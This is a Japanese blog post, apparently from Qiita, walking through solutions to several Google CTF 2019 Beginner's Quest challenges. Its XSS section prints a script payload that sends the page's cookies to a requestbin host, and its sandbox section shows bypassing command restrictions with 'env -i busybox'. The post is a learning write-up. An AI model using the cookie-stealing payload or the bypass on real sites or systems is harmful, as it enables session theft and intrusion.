4
5

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 5 years have passed since last update.

Google CTF 2019 Beginner's Quest Write-up(一部)

Last updated at Posted at 2019-06-24

Google CTFに参加しました。ただしBeginner's Questのみ。

今まで日本のCTFしか参加したことなかったけど、Google CTFはストーリー仕立てになってて面白かった。
Beginner'sじゃない本編の方はどうだったんだろ。見るだけ見ればよかったな。

結果は以下。
SECCON Beginners CTFは3問(Welcome除く)しか解けなかったので、少しは上達したのかな。
Result.png

さて、大して解けてませんが、せっかくなので一部だけでもWrite-upを書いてみることにしました。
ド初心者なので、経緯含めて書きます。冗長的ですがご容赦ください。

Enter Space-Time Coordinates (misc)

rand2というELFファイルが渡されるので、とりあえず実行してみます。

$ ./rand2
Travel coordinator
0: AC+79 3888 - 192751734632463, 196351317706145
1: Pliamas Sos - 20173547587226, 253474580385095
2: Ophiuchus - 189428230050398, 139936534344278
3: Pax Memor -ne4456 Hi Pro - 63063631874432, 196850316409508
4: Camion Gyrin - 131395850385603, 197242850452604
5: CTF - <REDACTED>

Enter your destination's x coordinate:
>>>

問題文の感じから、座標を入れるみたいです。適当になんか入れてみます。

Enter your destination's x coordinate:
>>> 1
Enter your destination's y coordinate:
>>> 1
Arrived somewhere, but not where the flag is. Sorry, try again.

ダメでした。とりあえずIDAに突っ込んでみます。
Answer.png

出てきました。
べた書きされてるようなので以下でもいけました。

$ strings rand2 | grep CTF{
Arrived at the flag. Congrats, your flag is: CTF{welcome_to_googlectf}

CTF{welcome_to_googlectf}

Satellite(networking)

init_satというELFファイルとREADME.pdfが渡されます。
実行してみます。

$ ./init_sat
Hello Operator. Ready to connect to a satellite?
Enter the name of the satellite to connect to or 'exit' to quit

入力を求められます。
README.pdf内の絵に意味ありげに書かれているOSMIUMを入れてみます。

Enter the name of the satellite to connect to or 'exit' to quit
OSMIUM
Establishing secure connection to OSMIUM
 satellite...
Welcome. Enter (a) to display config data, (b) to erase all data or (c) to disconnect

反応がありました。せっかくなのでconfig dataを表示させてみます。

Welcome. Enter (a) to display config data, (b) to erase all data or (c) to disconnect

a
Username: brewtoot password: ********************       166.00 IS-19 2019/05/09 00:00:00        Swath 640km     Revisit capacity twice daily, anywhere Resolution panchromatic: 30cm multispectral: 1.2m        Daily acquisition capacity: 220,000km²  Remaining config data written to: https://docs.google.com/document/d/14eYPluD_pi3824GAFanS29tWdTcKxP_XUxx7e303-3E

意味ありげなURLが出てきました。
https://docs.google.com/document/d/14eYPluD_pi3824GAFanS29tWdTcKxP_XUxx7e303-3E

アクセスすると以下の文字列が書いてあります。
VXNlcm5hbWU6IHdpcmVzaGFyay1yb2NrcwpQYXNzd29yZDogc3RhcnQtc25pZmZpbmchCg==

Base64デコードしてみます。

Username: wireshark-rocks
Password: start-sniffing!

なんのこっちゃ。さてここでしばらく詰まります。


...ん?この問題networkingだったな。ん?start-sniffing?
なるほど、キャプチャしろと。
Wiresharkでキャプチャ仕掛けて、同じことしてみます。

sniffing.png

CTF{4efcc72090af28fd33a2118985541f92e793477f}

コンソールに表示されてたパスワードはマスクされてただけだったんですね。

Home Computer(forensics)

待ってましたforensics。一番好きなタイプの問題です。

family.ntfsnotes.txtが渡されます。
notes.txtにMacの場合は.dmgにしてねとあるのでディスクイメージだろうということで、FTK Imagerにマウントします。
read.png

読めました。
タイトル的にプロファイル領域っぽいなぁと思って漁ってみます。
answer.png

PNGファイルに書いてありました。臼NG
CTF{congratsyoufoundmycreds}

(追記)正確には代替ストリーミングにPNGが埋め込まれている、でしょうか。

Work Computer(sandbox)

sandboxって種類の問題はじめてでした。
readme.ctfcompetition.com 1337が与えられるのでnetcatしてみます。

nc readme.ctfcompetition.com 1337
>

何かの環境に入ったようです。lsしてみます。

> ls
ORME.flag
README.flag

?! もうフラグあるじゃん、勝った!

> cat README.flag
error: No such file or directory
> more README.flag
error: No such file or directory
> less README.flag
error: No such file or directory
> strings README.flag
error: No such file or directory
>

残念、使えないようです。
何が使えるのだろうと/binを覗いてみます。

> pwd
/bin
> ls
arch
busybox
chgrp
chown
(以下略)

色々ありますが、catとかmoreとかやっぱりありません。
makemimeがありましたので、Base64エンコードして、Sandboxの外側でデコードすることにしました。

> makemime README.flag
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="504178701-910812327-1787166244"

--504178701-910812327-1787166244
Content-Type: application/octet-stream; charset=us-ascii
Content-Disposition: inline; filename="README.flag"
Content-Transfer-Encoding: base64

Q1RGezRsbF9ENDc0XzVoNGxsX0IzX0ZyMzN9Cg==
--504178701-910812327-1787166244--

Q1RGezRsbF9ENDc0XzVoNGxsX0IzX0ZyMzN9Cg==
 ↓(Base64デコード)
CTF{4ll_D474_5h4ll_B3_Fr33}


さて、`README.flag`の横に転がってる`ORME.flag`が気になりますね。 でもこいつ誰にも権限ついてないんです。
> ls -l
total 8
----------    1 1338     1338            33 Jun 24 14:13 ORME.flag
-r--------    1 1338     1338            28 Jun 24 14:13 README.flag

しかもchmod/binの中にありません。
どうしたものかと思っていたら、busybox内にあるっぽい情報を得ました。

> busybox chmod 700 ORME.flag
busybox can not be called for alien reasons.

実行できませんが、なんかカスタマイズされたエラーです。
環境変数クリアして実行してみます。

> env -i busybox chmod 700 ORME.flag
> ls -l
total 8
-rwx------    1 1338     1338            33 Jun 24 14:24 ORME.flag
-r--------    1 1338     1338            28 Jun 24 14:24 README.flag

できました。あとは見るだけ。

> env -i busybox cat ORME.flag
CTF{Th3r3_1s_4lw4y5_4N07h3r_W4y}

CTF{Th3r3_1s_4lw4y5_4N07h3r_W4y}

1問で2つの答えがあり、これでルートが分岐しました。
その次の問題解けませんでしたけどね・・・。

Government Agriculture Network(web)

今回一番苦戦しました。

以下のURLが与えられます。
https://govagriculture.web.ctfcompetition.com/

アクセスするとフォームがありました。

post.png

問題文のURLに#beginners/web-gov-xssとありますし、XSSっぽいです。
なんか投稿してみます。
post2.png

投稿した内容が動的に反映される系のサイトではないようです。

多分公開サイト用意してそこに送ったりするんだろうなと思いましたが、公開Webなんて持ってません。
困ったもんだと一緒に解いてる仲間に相談したら、Requestbinというものを紹介していただきました。
一時的に公開Webを生成してくれて、そこに対するHTTPリクエストをチェックできるサイトのようです。

Burpsuite使ってHTMLいじって色々やったりしていたんですが意味はなく、直接フォームで送ればいいとのヒントをいただきました。
その後も色々試しましたが、最終的にクッキーつきで以下のようにフォーム投稿したら答えがでました。

<script>(new Image).src='http://requestbin.fullcontact.com/hogehoge/'+document.cookie</script>

 ↓
<Requestbin管理画面>
post3.png

CTF{8aaa2f34b392b415601804c2f5f0f24e}

STOP GAN(pwn)

※漏れていましたので追記しました。

bofconsole.cbuffer-overflow.ctfcompetition.com 1337が与えられます。
バッファオーバーフローしろってことらしいです。

とりあえず、netcatしてみます。

$ nc buffer-overflow.ctfcompetition.com 1337
Your goal: try to crash the Cauliflower system by providing input to the program which is launched by using 'run' command.
 Bonus flag for controlling the crash.

Console commands:
run
quit
>>

runquitしか受け付けないそうです。
console.cを見てみると256バイトまでしかダメみたいなので、256バイトより少し多く投げてみました。

Console commands:
run
quit
>>run
Inputs: run
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
CTF{Why_does_cauliflower_threaten_us}
Cauliflower systems never crash >>
segfault detected! ***CRASH***
Console commands:
run
quit
>>

CTF{Why_does_cauliflower_threaten_us}


私が解けたのはここまででした。
通常ルートが最後まで行けたのでよかったです。
6/25時点でまだサイトオープンしてるっぽいので、先人のWriteup見ながら勉強しよう。

4
5
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
4
5

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?